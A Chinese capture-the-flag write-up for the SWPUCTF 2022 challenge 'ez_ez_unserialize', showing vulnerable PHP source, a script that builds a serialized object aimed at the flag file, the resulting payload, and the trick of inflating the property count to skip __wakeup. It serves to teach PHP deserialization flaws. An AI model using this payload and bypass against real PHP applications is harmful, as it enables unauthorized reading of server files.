复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

php 复制代码
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

php 复制代码
<?php

class X
{
    public $x = 'fllllllag.php';
}

$a = new X;
echo serialize($a);

?>

输出 的反序列化数据为:

*O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

这里绕过weakup,修改 "X" 后的 1(成员属性数量) 大于 1(实际数量) 即可。

最后再用GET或者POST 方法传参得到flag。

相关推荐
宋浮檀s6 小时前
春秋云镜——CVE-2022-22965
网络·安全·web安全·网络安全
石像鬼₧魂石6 小时前
SMBGhost (CVE-2020-0796) 复现命令速查表
web安全
小快说网安8 小时前
自动化攻击席卷FortiGate防火墙 敏感配置数据遭非法窃取
安全·web安全·自动化
网安小学生(兼顾数据库版)9 小时前
告别人工排查:揭秘艾体宝ONEKEY自动化固件漏洞分析引擎
安全·web安全·自动化
行走的陀螺仪13 小时前
[特殊字符]️ 前端 + Node.js + Nginx 安全防护终极指南:从入门到实战(2025最新版)
web安全·网络安全
侃谈科技圈1 天前
网联盾御:以技术筑牢数字防线 守护企业网络安全新生态
网络·安全·web安全
kft13141 天前
SSRF漏洞:服务器端请求伪造的攻击与防御
web安全·安全测试
瘾大侠1 天前
HTB - Reactor
网络·安全·web安全·网络安全
白雪落青衣1 天前
Upload-Labs-Linux
web安全·网络安全·系统安全
yixun_gdas1 天前
政务网站自我监测的主要内容及推荐工具
安全·web安全·内容运营